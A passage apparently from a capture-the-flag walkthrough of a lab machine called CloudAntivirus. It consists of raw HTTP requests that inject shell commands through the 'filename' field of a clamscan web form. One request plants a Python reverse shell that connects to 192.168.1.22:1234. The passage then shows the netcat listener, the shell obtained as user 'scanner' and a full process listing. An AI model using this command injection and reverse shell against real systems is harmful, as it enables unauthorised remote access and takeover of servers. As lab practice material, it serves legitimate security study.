Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5:8080/scan
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Connection: close
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOSZg.57mt5YvaZ9ZL3xr7vOA2gnSy4aU
Upgrade-Insecure-Requests: 1
filename=/etc/passwd || echo test > /home/scanner/cloudav_app/test.txt
-------------------
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 254
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 01:58:50 GMT
<pre>/etc/passwd: OK
----------- SCAN SUMMARY -----------
Known viruses: 6838622
Engine version: 0.102.2
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 40.130 sec (0 m 40 s)
</pre>
--------------------------------------------------------------------------------------------------------
POST /output HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5:8080/scan
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOSZg.57mt5YvaZ9ZL3xr7vOA2gnSy4aU
Upgrade-Insecure-Requests: 1
filename=/home/scanner/cloudav_app/test.txt
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 238
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 01:59:37 GMT
<pre>
----------- SCAN SUMMARY -----------
Known viruses: 6838622
Engine version: 0.102.2
Scanned directories: 0
Scanned files: 0
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 35.103 sec (0 m 35 s)
</pre>
----------------------------------------------------------------------------------------------------
POST /output HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5:8080/scan
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Connection: close
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOSZg.57mt5YvaZ9ZL3xr7vOA2gnSy4aU
Upgrade-Insecure-Requests: 1
filename=/etc/passwd; echo test > /home/scanner/cloudav_app/test1.txt
------------------
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 254
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 02:00:48 GMT
<pre>/etc/passwd: OK
----------- SCAN SUMMARY -----------
Known viruses: 6838622
Engine version: 0.102.2
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 33.916 sec (0 m 33 s)
</pre>
------------------------------------------------------------------------------------------------
POST /output HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5:8080/scan
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOSZg.57mt5YvaZ9ZL3xr7vOA2gnSy4aU
Upgrade-Insecure-Requests: 1
filename=/home/scanner/cloudav_app/test1.txt
------------------------
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 278
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 02:01:33 GMT
<pre>/home/scanner/cloudav_app/test1.txt: OK
----------- SCAN SUMMARY -----------
Known viruses: 6838622
Engine version: 0.102.2
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 33.803 sec (0 m 33 s)
</pre>
2.3. Obtain a remote shell with the account 'scanner'
===================================================================================================================================
POST /output HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5:8080/scan
Content-Type: application/x-www-form-urlencoded
Content-Length: 250
Connection: close
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOSZg.57mt5YvaZ9ZL3xr7vOA2gnSy4aU
Upgrade-Insecure-Requests: 1
filename=/etc/passwd; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.22",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
jeff@kali:~/Documents/CTFs/CloudAntivirus$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.1.22] from (UNKNOWN) [192.168.1.5] 44908
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(scanner) gid=1001(scanner) groups=1001(scanner)
$ pwd
/home/scanner/cloudav_app
$ ps -ealwf
F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD
4 S root 1 0 0 80 0 - 19488 - Apr24 ? 00:00:06 /sbin/init maybe-ubiquity
1 S root 2 0 0 80 0 - 0 - Apr24 ? 00:00:00 [kthreadd]
1 I root 4 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [kworker/0:0H]
1 I root 6 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [mm_percpu_wq]
1 S root 7 2 0 80 0 - 0 - Apr24 ? 00:00:17 [ksoftirqd/0]
1 I root 8 2 0 80 0 - 0 - Apr24 ? 00:00:03 [rcu_sched]
1 I root 9 2 0 80 0 - 0 - Apr24 ? 00:00:00 [rcu_bh]
1 S root 10 2 0 -40 - - 0 - Apr24 ? 00:00:00 [migration/0]
5 S root 11 2 0 -40 - - 0 - Apr24 ? 00:00:00 [watchdog/0]
1 S root 12 2 0 80 0 - 0 - Apr24 ? 00:00:00 [cpuhp/0]
5 S root 13 2 0 80 0 - 0 - Apr24 ? 00:00:00 [kdevtmpfs]
1 I root 14 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [netns]
1 S root 15 2 0 80 0 - 0 - Apr24 ? 00:00:00 [rcu_tasks_kthre]
1 S root 16 2 0 80 0 - 0 - Apr24 ? 00:00:00 [kauditd]
1 S root 17 2 0 80 0 - 0 - Apr24 ? 00:00:00 [khungtaskd]
1 S root 18 2 0 80 0 - 0 - Apr24 ? 00:00:00 [oom_reaper]
1 I root 19 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [writeback]
1 S root 20 2 0 80 0 - 0 - Apr24 ? 00:00:00 [kcompactd0]
1 S root 21 2 0 85 5 - 0 - Apr24 ? 00:00:00 [ksmd]
1 S root 22 2 0 99 19 - 0 - Apr24 ? 00:00:00 [khugepaged]
1 I root 23 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [crypto]
1 I root 24 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [kintegrityd]
1 I root 25 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [kblockd]
1 I root 26 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [ata_sff]
1 I root 27 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [md]
1 I root 28 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [edac-poller]
1 I root 29 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [devfreq_wq]
1 I root 30 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [watchdogd]
1 I root 32 2 0 80 0 - 0 - Apr24 ? 00:00:03 [kworker/0:1]
1 S root 34 2 0 80 0 - 0 - Apr24 ? 00:01:01 [kswapd0]
1 S root 35 2 0 80 0 - 0 - Apr24 ? 00:00:00 [ecryptfs-kthrea]
1 I root 77 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [kthrotld]
1 I root 78 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [acpi_thermal_pm]
1 S root 79 2 0 80 0 - 0 - Apr24 ? 00:00:00 [scsi_eh_0]
1 I root 80 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [scsi_tmf_0]
1 S root 81 2 0 80 0 - 0 - Apr24 ? 00:00:00 [scsi_eh_1]
1 I root 82 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [scsi_tmf_1]
1 I root 88 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [ipv6_addrconf]
1 I root 97 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [kstrp]
1 I root 114 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [charger_manager]
1 I root 179 2 0 60 -20 - 0 - Apr24 ? 00:00:08 [kworker/0:1H]
1 S root 188 2 0 80 0 - 0 - Apr24 ? 00:00:00 [scsi_eh_2]
1 I root 189 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [scsi_tmf_2]
1 I root 263 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [raid5wq]
1 S root 314 2 0 80 0 - 0 - Apr24 ? 00:00:01 [jbd2/sda2-8]
1 I root 315 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [ext4-rsv-conver]
4 S root 378 1 0 79 -1 - 23698 - Apr24 ? 00:00:00 /lib/systemd/systemd-journald
1 I root 388 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [iscsi_eh]
1 I root 389 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [ib-comp-wq]
1 I root 390 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [ib_mcast]
1 I root 391 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [ib_nl_sa_wq]
1 I root 392 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [rdma_cm]
4 S root 407 1 0 80 0 - 26476 - Apr24 ? 00:00:00 /sbin/lvmetad -f
1 S root 433 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [loop0]
1 S root 434 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [loop1]
4 S systemd+ 441 1 0 80 0 - 35478 - Apr24 ? 00:00:00 /lib/systemd/systemd-timesyncd
1 I root 471 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [iprt-VBoxWQueue]
1 I root 517 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [ttm_swap]
4 S systemd+ 583 1 0 80 0 - 20035 - Apr24 ? 00:00:00 /lib/systemd/systemd-networkd
4 S systemd+ 585 1 0 80 0 - 17653 - Apr24 ? 00:00:00 /lib/systemd/systemd-resolved
4 S daemon 694 1 0 80 0 - 7083 - Apr24 ? 00:00:00 /usr/sbin/atd -f
1 S root 695 1 0 80 0 - 6344 - Apr24 ? 00:00:00 /sbin/iscsid
5 S root 697 1 0 70 -10 - 6470 - Apr24 ? 00:00:00 /sbin/iscsid
4 S root 699 1 0 80 0 - 42284 - Apr24 ? 00:00:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
4 S root 705 1 0 80 0 - 23885 - Apr24 ? 00:00:00 /usr/bin/lxcfs /var/lib/lxcfs/
4 S root 707 1 0 80 0 - 7507 - Apr24 ? 00:00:00 /usr/sbin/cron -f
4 S root 708 1 0 80 0 - 15533 - Apr24 ? 00:00:00 /lib/systemd/systemd-logind
4 S root 709 1 0 80 0 - 71558 - Apr24 ? 00:00:00 /usr/lib/accountsservice/accounts-daemon
4 S syslog 710 1 0 80 0 - 66818 - Apr24 ? 00:00:00 /usr/sbin/rsyslogd -n
4 S message+ 712 1 0 80 0 - 12549 - Apr24 ? 00:00:01 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
4 S root 767 1 0 80 0 - 3722 - Apr24 tty1 00:00:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
4 S root 771 1 0 80 0 - 72218 - Apr24 ? 00:00:00 /usr/lib/policykit-1/polkitd --no-debug
4 S uuidd 829 1 0 80 0 - 6711 - Apr24 ? 00:00:00 /usr/sbin/uuidd --socket-activation
1 S root 1311 2 0 60 -20 - 0 - Apr24 ? 00:00:00 [loop2]
4 S root 1343 1 0 80 0 - 157142 - Apr24 ? 00:00:06 /usr/lib/snapd/snapd
4 S root 5867 1 0 80 0 - 11291 - 00:21 ? 00:00:00 /lib/systemd/systemd-udevd
4 S clamav 16368 1 0 80 0 - 57466 - 00:23 ? 00:00:00 /usr/bin/freshclam -d --foreground=true
4 S root 24809 1 0 80 0 - 18075 - 00:13 ? 00:00:00 /usr/sbin/sshd -D
1 I root 25527 2 0 80 0 - 0 - 01:57 ? 00:00:00 [kworker/u2:2]
0 S scanner 25571 1 0 80 0 - 1157 wait 02:23 ? 00:00:00 /bin/sh -c clamscan /etc/passwd; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.22",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0 S scanner 25573 25571 0 80 0 - 8691 wait 02:24 ? 00:00:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.22",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
0 S scanner 25574 25573 0 80 0 - 1157 wait 02:24 ? 00:00:00 /bin/sh -i
1 I root 25814 2 0 80 0 - 0 - 02:30 ? 00:00:00 [kworker/u2:0]
1 I root 25815 2 0 80 0 - 0 - 02:30 ? 00:00:00 [kworker/0:2]
1 I root 25835 2 0 80 0 - 0 - 02:36 ? 00:00:00 [kworker/u2:1]
0 R scanner 25856 25574 0 80 0 - 9594 - 02:45 ? 00:00:00 ps -ealwf
$